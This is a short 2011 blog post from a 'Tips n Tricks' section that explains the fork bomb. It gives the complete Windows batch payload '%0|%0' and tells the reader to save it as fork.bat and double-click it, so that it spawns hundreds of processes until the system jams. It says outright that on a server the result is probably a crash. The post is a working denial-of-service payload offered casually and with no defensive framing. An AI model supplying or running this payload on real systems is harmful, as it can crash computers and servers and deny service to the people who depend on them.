Simplest Virus – The Fork Bomb

Thursday, July 28, 2011 in Tips n Tricks

A virus (as you know) is a piece of code that does something that it shouldn't. It is a common misconception that you need a vast skill set to make these and that they are extremely complex however in reality they are as simple as sin to make which is why they are so damn annoying.

A Fork bomb is considered to be the smallest writable virus in the batch language and it is capable of being annoying and if launched on a home computer however on a server will probably result in a crash.
A fork bomb creates two instances which each create two instances and so on..the processes recursively fork, this "forks" the processor and jamm it completely until a crash occurs.
Here is how to make it
open up notepad and type:
%0|%0
and save it as fork.bat Yep..its a virus of just 5 characters :P .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt .
